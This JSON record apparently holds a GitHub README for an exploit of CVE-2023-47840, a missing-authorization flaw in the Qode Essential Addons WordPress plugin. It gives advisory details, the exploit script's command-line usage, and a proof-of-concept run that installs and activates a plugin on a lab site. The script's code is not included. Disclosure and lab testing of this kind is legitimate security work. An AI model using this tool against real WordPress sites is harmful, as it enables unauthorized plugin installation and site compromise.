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This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins.\n\n```\nSeverity: medium\nCVE ID: CVE-2023-47840\nCVSS Score: 4.3\nCVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\nPlugin Slug: qode-essential-addons\nWPScan URL: https://www.wpscan.com/plugin/qode-essential-addons\nReference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/443c59b9-275d-4d17-a870-9ae013c1a5c1\nSVN Link: https://plugins.trac.wordpress.org/changeset/2996356/qode-essential-addons/trunk/inc/admin/inc/admin-pages/sub-pages/import/class-qodeessentialaddons-framework-import-plugins.php\nPatchstack: https://patchstack.com/database/vulnerability/qode-essential-addons/wordpress-qode-essential-addons-plugin-1-5-2-arbitrary-plugin-installation-and-activation-vulnerability\n```\n\nHow to use\n---\n\n```\nusage: CVE-2023-47840.py [-h] --url URL --username USERNAME --password PASSWORD --slug SLUG\n\nQode Essential Addons \u003c= 1.5.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation Description CVE-2023-47840 - The Qode Essential Addons plugin for WordPress is vulnerable to unauthorized\nmodification of data due to a missing capability check on the install_plugin() function in all versions up to, and including, 1.5.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to\ninstall and activate arbitrary plugins.\n\noptions:\n  -h, --help           show this help message and exit\n  --url URL            URL of the WordPress site\n  --username USERNAME  WordPress username\n  --password PASSWORD  WordPress password\n  --slug SLUG          WordPress Plugin Slug\n```\n\nPOC\n---\n\n```\n$ python3 CVE-2023-47840.py --url http://wordpress.lan --username user --password useruser1 --slug olympus-google-fonts\nLogged in successfully.\nGetting REST API Nonce!\nNonce Found: 1d0f559912\nInstalling Plugin!\nHTTP STATUS: 200 Response:\nActivate Plugin!\nHTTP STATUS: 200 Response: {\"status\":\"success\",\"message\":\"Activated\",\"data\":null,\"redirect\":\"\"}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2023-47840","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2023-47840","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2023-47840/lists"}